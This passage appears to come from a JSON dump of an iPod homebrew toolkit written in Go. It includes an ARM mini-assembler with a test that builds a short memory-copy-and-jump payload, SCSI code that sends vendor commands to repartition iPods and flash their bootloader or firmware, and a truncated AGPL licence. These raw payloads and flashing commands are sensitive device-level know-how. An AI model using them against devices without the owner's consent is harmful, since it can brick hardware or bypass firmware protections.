NE:\n\t\treturn 0b0001 << 28\n\t}\n\tpanic(\"invalid condition\")\n}\n\n// Statement is a listing line, eg. instruction or label.\ntype Statement interface {\n\t// preprocess is a first pass assemble function, giving the statements an\n\t// opportunity to register labels.\n\tpreprocess(c *ctx)\n\t// hydrate is the second pass assemble function, in which a statement must\n\t// return concrete data.\n\thydrate(c *ctx) []byte\n\t// size of the instruction in bytes.\n\tsize() uint32\n}\n\ntype ctx struct {\n\tp         *Program\n\tinstrAddr uint32\n\n\tconstantPoolStart uint32\n\tconstantPool      map[uint32]uint32\n\tconstantPoolList  []uint32\n\n\tlabels map[string]uint32\n}\n\nfunc (h *ctx) AllocateConstant(val uint32) uint32 {\n\tif a, ok := h.constantPool[val]; ok {\n\t\treturn a\n\t}\n\ta := h.constantPoolStart\n\th.constantPoolStart += 4\n\th.constantPool[val] = a\n\th.constantPoolList = append(h.constantPoolList, val)\n\n\treturn a\n}\n\n// instruction is an embeddable struct to be put in any 'typical' 4-byte ARM\n// instruction that has no preprocess step.\ntype instruction struct {\n}\n\nfunc (i instruction) size() uint32 {\n\treturn 4\n}\n\nfunc (i instruction) preprocess(c *ctx) {\n}\n\nfunc offsetForward(from, to uint32) uint16 {\n\tpcAddr := from + 8\n\tif to < pcAddr {\n\t\tpanic(\"nonsense\")\n\t}\n\toffset := to - pcAddr\n\tif offset >= (1 << 12) {\n\t\tpanic(\"constant too far away\")\n\t}\n\treturn uint16(offset)\n}\n\nfunc p32(u uint32) []byte {\n\treturn []byte{\n\t\tbyte((u >> 0) & 0xff),\n\t\tbyte((u >> 8) & 0xff),\n\t\tbyte((u >> 16) & 0xff),\n\t\tbyte((u >> 24) & 0xff),\n\t}\n}\n\ntype Label string\n\nfunc (l Label) size() uint32 {\n\treturn 0\n}\n\nfunc (l Label) preprocess(c *ctx) {\n\tv := string(l)\n\tif _, ok := c.labels[v]; ok {\n\t\tpanic(fmt.Sprintf(\"duplicate label %q\", v))\n\t}\n\tc.labels[v] = c.instrAddr\n}\n\nfunc (l Label) hydrate(c *ctx) []byte {\n\treturn nil\n}\n\ntype LabelRef string\n\nfunc (r LabelRef) resolveBranchTarget(c *ctx) uint32 {\n\taddr, ok := c.labels[string(r)]\n\tif !ok {\n\t\tpanic(fmt.Sprintf(\"unknown label %q\", string(r)))\n\t}\n\treturn addr\n}\n\nfunc (r LabelRef) encodeLoadSource(c *ctx) uint32 {\n\tval := r.resolveBranchTarget(c)\n\taddr := c.AllocateConstant(val)\n\tmd := MemoryDeref{\n\t\tReg:    PC,\n\t\tOffset: offsetForward(c.instrAddr, addr),\n\t}\n\treturn md.encodeLoadSource(c)\n}\n\ntype Embed []byte\n\nfunc (e Embed) size() uint32 {\n\treturn uint32(len([]byte(e)))\n}\n\nfunc (e Embed) preprocess(_ *ctx) {\n}\n\nfunc (e Embed) hydrate(c *ctx) []byte {\n\treturn []byte(e)\n}\n"
  },
  {
    "path": "pkg/uasm/uasm_test.go",
    "content": "package uasm\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"testing\"\n)\n\nfunc TestSample(t *testing.T) {\n\tp := Program{\n\t\tAddress: 0x2202dc08,\n\t\tListing: []Statement{\n\t\t\t// Flush caches.\n\t\t\tMov{Dest: R0, Src: Immediate(0)},\n\t\t\tMcr{CPn: 15, Opc: 0, Src: R0, CRn: 7, CRm: 5, Opc2: 0},\n\n\t\t\t// Load offset\n\t\t\tLdr{Dest: R0, Src: Constant(0x2202db00)},\n\t\t\tLdr{Dest: R1, Src: Deref(R0, 0)},\n\n\t\t\t// Copy 0x40 bytes from R1 to R0.\n\t\t\tMov{Dest: R2, Src: Immediate(0)},\n\n\t\t\tLabel(\"loop\"),\n\t\t\tLdrb{Dest: R3, Src: Deref(R1, 0)},\n\t\t\tStrb{Src: R3, Dest: Deref(R0, 0)},\n\t\t\tAdd{Dest: R0, Src: R0, Compl: Immediate(1)},\n\t\t\tAdd{Dest: R1, Src: R1, Compl: Immediate(1)},\n\t\t\tAdd{Dest: R2, Src: R2, Compl: Immediate(1)},\n\t\t\tCmp{A: R2, B: Immediate(0x40)},\n\t\t\tB{Cond: NE, Dest: LabelRef(\"loop\")},\n\n\t\t\tLdr{Dest: LR, Src: Constant(0x20004d70)},\n\t\t\tBx{Dest: LR},\n\t\t},\n\t}\n\n\tres := p.Assemble()\n\twant, _ := hex.DecodeString(\"0000a0e3150f07ee28009fe5001090e50020a0e30030d1e50030c0e5010080e2011081e2012082e2400052e3f8ffff1a04e09fe51eff2fe100db0222704d0020\")\n\tif !bytes.Equal(res, want) {\n\t\tt.Fatalf(\"wrong assembly (got %s)\", hex.EncodeToString(res))\n\t}\n}\n"
  },
  {
    "path": "pkg/usbms/ipod.go",
    "content": "package usbms\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\n\t\"howett.net/plist\"\n)\n\ntype DeviceInformation struct {\n\tUpdaterFanilyVersion int    `plist:\"UpdaterFamilyVersion\"`\n\tBuildID              string `plist:\"BuildID\"`\n\tSerialNumber         string `plist:\"SerialNumber\"`\n}\n\nfunc (h *Host) IPodDeviceInformation() (*DeviceInformation, error) {\n\tif _, err := h.InquiryVPD(0xc0, 0xfc); err != nil {\n\t\treturn nil, err\n\t}\n\tvar res []byte\n\tfor i := uint8(0xc2); i <= 0xff; i++ {\n\t\tpage, err := h.InquiryVPD(i, 0xfc)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tres = append(res, page...)\n\t\tif len(page) != 0xfc-4 {\n\t\t\tbreak\n\t\t}\n\t}\n\tvar di DeviceInformation\n\tif _, err := plist.Unmarshal(res, &di); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &di, nil\n}\n\n//type IPodSubcommand uint8\n\nconst (\n\tIPodSubcommandUpdateStart    uint8 = 0x90\n\tIPodSubcommandUpdateChunk    uint8 = 0x91\n\tIPodSubcommandUpdateEnd      uint8 = 0x92\n\tIPodSubcommandRepartition    uint8 = 0x94\n\tIPodSubcommandUpdateFinalize uint8 = 0x31\n)\n\nfunc (h *Host) IPodRepartition(targetSize int) error {\n\tif (targetSize % 4096) != 0 {\n\t\treturn fmt.Errorf(\"target size must be 12 bit aligned\")\n\t}\n\tsectors := targetSize >> 12\n\tpartsize := uint32(sectors << 2)\n\n\tbuf := bytes.NewBuffer(nil)\n\tbinary.Write(buf, binary.BigEndian, struct {\n\t\tSubcommand uint8\n\t\tSize       uint32\n\t}{IPodSubcommandRepartition, partsize})\n\tcbd := &CommandDataBuffer{\n\t\tOperationCode: 0xc6,\n\t\tRequest:       buf.Bytes(),\n\t}\n\tif err := h.RawCommand(cbd); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\ntype IPodUpdateKind uint8\n\nvar (\n\tIPodUpdateBootloader IPodUpdateKind = 1\n\tIPodUpdateFirmware   IPodUpdateKind = 0\n)\n\nfunc (h *Host) IPodUpdateStart(kind IPodUpdateKind, size uint32) error {\n\tbuf := bytes.NewBuffer(nil)\n\tbinary.Write(buf, binary.BigEndian, struct {\n\t\tSubcommand uint8\n\t\tKind       uint8\n\t\tSize       uint32\n\t}{IPodSubcommandUpdateStart, uint8(kind), size})\n\tcbd := &CommandDataBuffer{\n\t\tOperationCode: 0xc6,\n\t\tRequest:       buf.Bytes(),\n\t}\n\tif err := h.RawCommand(cbd); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (h *Host) IPodUpdateEnd() error {\n\tbuf := bytes.NewBuffer(nil)\n\tbinary.Write(buf, binary.BigEndian, struct {\n\t\tSubcommand uint8\n\t}{IPodSubcommandUpdateEnd})\n\tcbd := &CommandDataBuffer{\n\t\tOperationCode: 0xc6,\n\t\tRequest:       buf.Bytes(),\n\t}\n\tif err := h.RawCommand(cbd); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (h *Host) IPodUpdateSendChunk(data []byte) error {\n\tif len(data)%4096 != 0 {\n\t\treturn fmt.Errorf(\"data chunk size must be aligned to 12 bits\")\n\t}\n\tnsectors := uint16(len(data) >> 12)\n\tbuf := bytes.NewBuffer(nil)\n\tbinary.Write(buf, binary.BigEndian, struct {\n\t\tSubcommand uint8\n\t\tNSectors   uint16\n\t}{IPodSubcommandUpdateChunk, nsectors})\n\tcbd := &CommandDataBuffer{\n\t\tOperationCode:         0xc6,\n\t\tRequest:               buf.Bytes(),\n\t\tData:                  data,\n\t\tDataTransferDirection: DataTransferToDevice,\n\t}\n\tif err := h.RawCommand(cbd); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (h *Host) IPodUpdateSendFull(kind IPodUpdateKind, data []byte) error {\n\toriglen := len(data)\n\tif len(data)%4096 != 0 {\n\t\tpadding := bytes.Repeat([]byte{0}, 4096-(len(data)%4096))\n\t\tdata = append(data, padding...)\n\t}\n\tif err := h.IPodUpdateStart(kind, uint32(origlen)); err != nil {\n\t\treturn fmt.Errorf(\"starting failed: %w\", err)\n\t}\n\tcsize := 4096 * 8\n\tfor i := 0; i < len(data); i += csize {\n\t\tpcnt := (i * 100) / len(data)\n\t\tfmt.Printf(\"%d%%...\\r\", pcnt)\n\t\tchunk := data[i:]\n\t\tif len(chunk) > csize {\n\t\t\tchunk = chunk[:csize]\n\t\t}\n\t\tif err := h.IPodUpdateSendChunk(chunk); err != nil {\n\t\t\treturn fmt.Errorf(\"sending chunk %x failed: %w\", i, err)\n\t\t}\n\t}\n\tif err := h.IPodUpdateEnd(); err != nil {\n\t\treturn fmt.Errorf(\"ending failed: %w\", err)\n\t}\n\n\treturn nil\n}\n\nfunc (h *Host) IPodFinalize(reset bool) error {\n\tbuf := bytes.NewBuffer(nil)\n\tbinary.Write(buf, binary.BigEndian, struct {\n\t\tSubcommand uint8\n\t}{IPodSubcommandUpdateFinalize})\n\tcbd := &CommandDataBuffer{\n\t\tOperationCode: 0xc6,\n\t\tRequest:       buf.Bytes(),\n\t}\n\tif err := h.RawCommand(cbd); err != nil {\n\t\treturn err\n\t}\n\n\tif reset {\n\t\tcbd = &CommandDataBuffer{\n\t\t\tOperationCode: 0x1e,\n\t\t\tRequest: []byte{0, 0, 0, 0},\n\t\t}\n\t\tif err := h.RawCommand(cbd); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tcbd = &CommandDataBuffer{\n\t\t\tOperationCode: 0x1b,\n\t\t\tRequest:       []byte{0, 0, 0, 2},\n\t\t}\n\t\tif err := h.RawCommand(cbd); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/usbms/scsi.go",
    "content": "package usbms\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"time\"\n)\n\n// The following is borrowed from\n// https://github.com/monogon-dev/monogon/blob/main/metropolis/pkg/scsi/scsi.go\n//\n// Copyright 2023 The Monogon Project Authors.\t// OperationCode contains the code of the command to be called\n// SPDX-License-Identifier: Apache-2.0\n\ntype OperationCode uint8\n\nconst (\n\tInquiryOp        OperationCode = 0x12\n\tReadDefectDataOp OperationCode = 0x37\n\tLogSenseOp       OperationCode = 0x4d\n)\n\ntype DataTransferDirection uint8\n\nconst (\n\tDataTransferNone DataTransferDirection = iota\n\tDataTransferToDevice\n\tDataTransferFromDevice\n\tDataTransferBidirectional\n)\n\n// CommandDataBuffer represents a command\ntype CommandDataBuffer struct {\n\tOperationCode OperationCode\n\t// Request contains the OperationCode-specific request parameters\n\tRequest []byte\n\t// ServiceAction can (for certain CDB encodings) contain an additional\n\t// qualification for the OperationCode.\n\tServiceAction *uint8\n\t// Control contains common CDB metadata\n\tControl uint8\n\t// DataTransferDirection contains the direction(s) of the data transfer(s)\n\t// to be made.\n\tDataTransferDirection DataTransferDirection\n\t// Data contains the data to be transferred. If data needs to be received\n\t// from the device, a buffer needs to be provided here.\n\tData []byte\n\t// Timeout can contain an optional timeout (0 = no timeout) for the command\n\tTimeout time.Duration\n}\n\n// Bytes returns the raw CDB to be sent to the device\nfunc (c *CommandDataBuffer) Bytes() ([]byte, error) {\n\t// Table 24\n\tswitch {\n\tcase c.OperationCode < 0x20:\n\t\t// Use CDB6 as defined in Table 3\n\t\tif c.ServiceAction != nil {\n\t\t\treturn nil, errors.New(\"ServiceAction field not available in CDB6\")\n\t\t}\n\t\tif len(c.Request) != 4 {\n\t\t\treturn nil, fmt.Errorf(\"CDB6 request size is %d bytes, needs to be 4 bytes without LengthField\", len(c.Request))\n\t\t}\n\n\t\toutBuf := make([]byte, 6)\n\t\toutBuf[0] = uint8(c.OperationCode)\n\n\t\tcopy(outBuf[1:5], c.Request)\n\t\toutBuf[5] = c.Control\n\t\treturn outBuf, nil\n\tcase c.OperationCode < 0x60:\n\t\t// Use CDB10 as defined in Table 5\n\t\tif len(c.Request) != 8 {\n\t\t\treturn nil, fmt.Errorf(\"CDB10 request size is %d bytes, needs to be 4 bytes\", len(c.Request))\n\t\t}\n\n\t\toutBuf := make([]byte, 10)\n\t\toutBuf[0] = uint8(c.OperationCode)\n\t\tcopy(outBuf[1:9], c.Request)\n\t\tif c.ServiceAction != nil {\n\t\t\toutBuf[1] |= *c.ServiceAction & 0b11111\n\t\t}\n\t\toutBuf[9] = c.Control\n\t\treturn outBuf, nil\n\tcase c.OperationCode < 0x7e:\n\t\treturn nil, errors.New(\"OperationCode is reserved\")\n\tcase c.OperationCode == 0x7e:\n\t\t// Use variable extended\n\t\treturn nil, errors.New(\"variable extended CDBs are unimplemented\")\n\tcase c.OperationCode == 0x7f:\n\t\t// Use variable\n\t\treturn nil, errors.New(\"variable CDBs are unimplemented\")\n\tcase c.OperationCode < 0xa0:\n\t\t// Use CDB16 as defined in Table 13\n\t\tif len(c.Request) != 14 {\n\t\t\treturn nil, fmt.Errorf(\"CDB16 request size is %d bytes, needs to be 14 bytes\", len(c.Request))\n\t\t}\n\n\t\toutBuf := make([]byte, 16)\n\t\toutBuf[0] = uint8(c.OperationCode)\n\t\tcopy(outBuf[1:15], c.Request)\n\t\tif c.ServiceAction != nil {\n\t\t\toutBuf[1] |= *c.ServiceAction & 0b11111\n\t\t}\n\t\toutBuf[15] = c.Control\n\t\treturn outBuf, nil\n\tcase c.OperationCode < 0xc0:\n\t\t// Use CDB12 as defined in Table 7\n\t\tif len(c.Request) != 10 {\n\t\t\treturn nil, fmt.Errorf(\"CDB12 request size is %d bytes, needs to be 10 bytes\", len(c.Request))\n\t\t}\n\n\t\toutBuf := make([]byte, 12)\n\t\toutBuf[0] = uint8(c.OperationCode)\n\t\tcopy(outBuf[1:11], c.Request)\n\t\tif c.ServiceAction != nil {\n\t\t\toutBuf[1] |= *c.ServiceAction & 0b11111\n\t\t}\n\t\toutBuf[11] = c.Control\n\t\treturn outBuf, nil\n\tcase c.OperationCode == 0xc6:\n\t\t// Special iPod operation code.\n\t\tlimit := 5\n\t\tswitch c.Request[0] {\n\t\tcase IPodSubcommandUpdateStart, IPodSubcommandUpdateEnd, IPodSubcommandUpdateFinalize, IPodSubcommandRepartition:\n\t\t\tlimit = 15\n\t\tcase IPodSubcommandUpdateChunk:\n\t\t\tlimit = 9\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"cannot serialize subcommand %x\", c.Request[0])\n\t\t}\n\n\t\tif len(c.Request) > limit {\n\t\t\treturn nil, fmt.Errorf(\"request too long\")\n\t\t}\n\t\tres := make([]byte, limit+1)\n\t\tres[0] = byte(c.OperationCode)\n\t\tcopy(res[1:], c.Request)\n\t\treturn res, nil\n\tdefault:\n\t\treturn nil, errors.New(\"unable to encode CDB for given OperationCode\")\n\t}\n}\n"
  },
  {
    "path": "pkg/usbms/usbms.go",
    "content": "package usbms\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n)\n\ntype CBW struct {\n\tSignature          [4]byte\n\tTag                uint32\n\tDataTransferLength uint32\n\tFlags              uint8\n\tLUN                uint8\n\tLength             uint8\n\tCB                 [16]byte\n}\n\ntype CBS struct {\n\tSignature   [4]byte\n\tTag         uint32\n\tDataResidue uint32\n\tStatus      uint8\n}\n\ntype Host struct {\n\tEndpoints devices.UsbMsEndpoints\n\tTag       uint32\n}\n\nfunc (h *Host) InquiryVPD(page uint8, allocation uint16) ([]byte, error) {\n\treq := bytes.NewBuffer(nil)\n\tbinary.Write(req, binary.BigEndian, struct {\n\t\tEVPD             uint8\n\t\tPageCode         uint8\n\t\tAllocationLength uint16\n\t}{1, page, allocation})\n\tdata := make([]byte, allocation)\n\tcbd := &CommandDataBuffer{\n\t\tOperationCode:         InquiryOp,\n\t\tRequest:               req.Bytes(),\n\t\tData:                  data,\n\t\tDataTransferDirection: DataTransferFromDevice,\n\t}\n\tif err := h.RawCommand(cbd); err != nil {\n\t\treturn nil, err\n\t}\n\tres := struct {\n\t\tEVPD       uint8\n\t\tPageCode   uint8\n\t\tPageLength uint16\n\t}{}\n\tbinary.Read(bytes.NewBuffer(cbd.Data[:4]), binary.BigEndian, &res)\n\tif res.EVPD != 0 || res.PageCode != page {\n\t\treturn nil, fmt.Errorf(\"invalid response: %+v\", res)\n\t}\n\treturn cbd.Data[4 : 4+res.PageLength], nil\n}\n\nfunc (h *Host) RawCommand(cbd *CommandDataBuffer) error {\n\trlen := len(cbd.Data)\n\tcbw, err := h.buildCBW(cbd, uint32(rlen))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"building CBW failed: %w\", err)\n\t}\n\tcbwb := cbw.Bytes()\n\tif _, err := h.Endpoints.Out.Write(cbwb); err != nil {\n\t\treturn fmt.Errorf(\"write failed: %w\", err)\n\t}\n\tswitch cbd.DataTransferDirection {\n\tcase DataTransferFromDevice:\n\t\tn, err := h.Endpoints.In.Read(cbd.Data)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"data read failed: %w\", err)\n\t\t}\n\t\tcbd.Data = cbd.Data[:n]\n\tcase DataTransferToDevice:\n\t\tn, err := h.Endpoints.Out.Write(cbd.Data)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"data write failed: %w\", err)\n\t\t}\n\t\tif want, got := len(cbd.Data), n; want != got {\n\t\t\treturn fmt.Errorf(\"should've written %d bytes, wrote %d\", want, got)\n\t\t}\n\t}\n\n\tcbsb := make([]byte, 13)\n\tif n, err := h.Endpoints.In.Read(cbsb); err != nil && n != 13 {\n\t\treturn fmt.Errorf(\"status read failed: %w\", err)\n\t}\n\tvar cbs CBS\n\tbinary.Read(bytes.NewBuffer(cbsb), binary.LittleEndian, &cbs)\n\n\tif !bytes.Equal(cbs.Signature[:], []byte(\"USBS\")) {\n\t\treturn fmt.Errorf(\"cbs signature invalid\")\n\t}\n\tif cbs.Tag != cbw.Tag {\n\t\treturn fmt.Errorf(\"tag mismatch: CBS %d != CBW %d\", cbs.Tag, cbw.Tag)\n\t}\n\tif cbs.DataResidue != 0 {\n\t\trlen -= int(cbs.DataResidue)\n\t\tcbd.Data = cbd.Data[:rlen]\n\t}\n\tif cbs.Status != 0 {\n\t\treturn fmt.Errorf(\"cbs status: %d\", cbs.Status)\n\t}\n\n\treturn nil\n}\n\nfunc (h *Host) buildCBW(cbd *CommandDataBuffer, dataLength uint32) (*CBW, error) {\n\tdata, err := cbd.Bytes()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(data) > 16 {\n\t\treturn nil, fmt.Errorf(\"cbd data too long\")\n\t}\n\n\tvar flags uint8\n\tswitch cbd.DataTransferDirection {\n\tcase DataTransferFromDevice:\n\t\tflags = 1 << 7\n\tcase DataTransferToDevice, DataTransferNone:\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"DataTransferDirection must be to or from device or none\")\n\t}\n\n\th.Tag += 1\n\n\tcbw := CBW{\n\t\tSignature:          [4]byte{'U', 'S', 'B', 'C'},\n\t\tTag:                h.Tag,\n\t\tDataTransferLength: dataLength,\n\t\tFlags:              flags,\n\t\tLUN:                0,\n\t\tLength:             uint8(len(data)),\n\t}\n\tcopy(cbw.CB[:len(data)], data)\n\treturn &cbw, nil\n}\n\nfunc (c *CBW) Bytes() []byte {\n\tbuf := bytes.NewBuffer(nil)\n\tbinary.Write(buf, binary.LittleEndian, c)\n\treturn buf.Bytes()\n}\n"
  },
  {
    "path": "web/.gitignore",
    "content": "dist\ncheck.log\nnode_modules\nserver.elf"
  },
  {
    "path": "web/COPYING",
    "content": "                    GNU AFFERO GENERAL PUBLIC LICENSE\n                       Version 3, 19 November 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU Affero General Public License is a free, copyleft license for\nsoftware and other kinds of works, specifically designed to ensure\ncooperation with the community in the case of network server software.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nour General Public Licenses are intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  Developers that use our General Public Licenses protect your rights\nwith two steps: (1) assert copyright on the software, and (2) offer\nyou this License which gives you legal permission to copy, distribute\nand/or modify the software.\n\n  A secondary benefit of defending all users' freedom is that\nimprovements made in alternate versions of the program, if they\nreceive widespread use, become available for other developers to\nincorporate.  Many developers of free software are heartened and\nencouraged by the resulting cooperation.  However, in the case of\nsoftware used on network servers, this result may fail to come about.\nThe GNU General Public License permits making a modified version and\nletting the public access it on a server without ever releasing its\nsource code to the public.\n\n  The GNU Affero General Public License is designed specifically to\nensure that, in such cases, the modified source code becomes available\nto the community.  It requires the operator of a network server to\nprovide the source code of the modified version running there to the\nusers of that server.  Therefore, public use of a modified version, on\na publicly accessible server, gives the public access to the source\ncode of the modified version.\n\n  An older license, called the Affero General Public License and\npublished by Affero, was designed to accomplish similar goals.  This is\na different license, not a version of the Affero GPL, but Affero has\nreleased a new version of the Affero GPL which permits relicensing under\nthis license.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU Affero General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the 